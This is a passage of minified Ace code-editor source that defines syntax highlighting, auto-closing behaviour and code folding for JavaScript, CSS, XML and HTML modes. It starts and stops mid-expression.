i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),ace.define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),ace.define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),ace.define(\"ace/mode/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/css_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/worker/worker_client\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../worker/worker_client\").WorkerClient,a=e(\"./behaviour/css\").CssBehaviour,f=e(\"./folding/cstyle\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.foldingRules=\"cStyle\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new u([\"ace\"],\"ace/mode/css_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/css\"}.call(l.prototype),t.Mode=l}),ace.define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),ace.define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules(o,\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),ace.define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),ace.define(\"ace/mode/folding/mixed\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e,t){this.defaultMode=e,this.subModes=t};r.inherits(s,i),function(){this.$getMode=function(e){typeof e!=\"string\"&&(e=e[0]);for(var t in this.subModes)if(e.indexOf(t)===0)return this.subModes[t];return null},this.$tryMode=function(e,t,n,r){var i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),ace.define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),ace.define(\"ace/mode/folding/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./mixed\").FoldMode,s=e(\"./xml\").FoldMode,o=e(\"./cstyle\").FoldMode,u=t.FoldMode=function(e,t){i.call(this,new s(e,t),{\"js-\":new o,\"css-\":new 